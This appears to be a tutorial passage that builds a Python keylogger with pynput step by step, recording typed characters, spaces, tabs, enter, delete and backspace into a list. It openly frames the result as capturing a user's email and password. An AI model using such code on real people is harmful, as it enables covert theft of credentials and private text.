Modify on_press()
Modify on_press()
The provided on_press() function is a great start. However, I don’t want to track all key presses as many of the keys don’t really matter to me, like the function keys, ctrl, alt, and d-pad.
I’m interested in the following data:
- typed words (
alphanumeric
) - typed numbers (
alphanumeric
) - space bar (special:
Key.space
) - tab (special:
Key.tab
) - enter (special:
Key.enter
) - backspace (special:
Key.backspace
) - delete (special:
Key.delete
)
Print only alphanumeric
First up are some changes to the try
& except
blocks:
try:
print(key.char)
except AttributeError:
pass
I don’t care about the additional text when a key is pressed, I simply want the key printed out.
In a similar vein I don’t want to see any special key presses right now, even though I have some plans for them in the future.
Validation
That’s better.
Source Code Snapshot
GitHub repo at this point in time
Chunk Input
I don’t like that the letter is displayed as soon as it is pressed, I’d rather it be saved and then for it all to be displayed (eventually logged) all at once.
To make things easy let’s create a global list named log
.
from time import sleep
from pynput import keyboard
log = []
def on_press(key):
Let’s then update that log in the on_press function:
def on_press(key):
try:
log.append(key.char)
except AttributeError:
pass
Finally let’s print out the contents of the log after the time expires:
if __name__ == "__main__":
listener = keyboard.Listener(on_press=on_press)
listener.start()
sleep(10)
listener.stop()
print(log)
Let’s try it out.
Validation
Much smoother.
Special Key Behaviors
Having a list of letters typed in order is nice, but I want to ultimately group meaningful strings of characters together into words. A logical place to break is on space bar presses and tab presses.
Space naturally shows up between words, and tab is used often between data entry while moving between form options.
I will eventually join()
the list together on spaces, but I want both the space bar and tab presses to result in an empty string space " "
. I think a dictionary look up would be a great tool to handle all of the special key presses I care about.
Key.space
as " "
I will have to replace the current pass
statement, but first the dictionary:
def on_press(key):
special_lookup = {
"Key.space": " "
}
try:
log.append(key.char)
except:
if str(key) in special_lookup.keys():
log.append(special_lookup[str(key)])
That might do it.
Validation
The output is kind of separated now.
Source Code Snapshot
GitHub repo at this point in time
Key.tab
as " "
Tab’s should be real easy thanks to our dictionary. Just a new entry in special_lookup
:
special_lookup = {
"Key.space": " ",
"Key.tab": " "
}
Validation
I typed: tdo tabs space\t\t\ti\tk\t
And they work.
Source Code Snapshot
GitHub repo at this point in time
Join List Items on Space
Let’s join this text together:
print("".join(log))
Validation
That’s very nice.
Source Code Snapshot
GitHub repo at this point in time
Key.enter
as "<ENTER>"
So after someone has typed some data into a form, I’m interested on when they have hit the enter button. Let’s make enter presses really stand out:
special_lookup = {
"Key.space": " ",
"Key.tab": " ",
"Key.enter": "<ENTER>"
}
Validation
Sneaky.
Someone:
- typed
gmail.com
- hit enter
- typed an email address:
paul@paulmatthews.dev
- hit space or tab
- typed a possible password:
mypassword
- hit enter
Did someone login to an account and we captured their credentials? Possibly.
Right now there is ambiguity between space bar and tab presses. It may be in our interest to distinguish between the two. I’m not going to do that, because I don’t care.
Source Code Snapshot
GitHub repo at this point in time
Key.delete
as "<DELETE>"
Occasionally people make mistakes when typing. Why don’t we record deletion’s in a similar manner to enter presses:
special_lookup: {
"Key.space": " ",
"Key.tab": " ",
"Key.enter": "<ENTER>",
"Key.delete": "<DELETE>"
}
Validation
We are tracking delete presses now.
Source Code Snapshot
GitHub repo at this point in time
Key.backspace
Removes Last List Item
I could do something similar to delete, or enter, but I usually hit backspace when I’ve made a typing mistake and I want to get rid of the last key I typed. So let’s just have backspace remove the last list item:
except AttributeError:
if str(key) == "Key.backspace":
log.pop()
elif str(key) in special_lookup.keys():
log.append(special_lookup[str(key)])
Validation
I’ll type something wrong: paulb
hit backspace and see if the output is: paul
.
Pretty cool.
Source Code Snapshot
GitHub repo at this point in time
Handle Potential IndexError
I occasionally hold backspace to clear all the text I’ve typed and certainly register more backspace presses than will exist in the log list.
Let’s modify the code to catch the error:
try:
log.pop()
except IndexError:
log.append("<BACKSPACE>")
Validation
Even though I put in a ton of backspaces with no content, it simply results in one <BACKSPACE>
string indicating more backspaces were provided than elements in the list.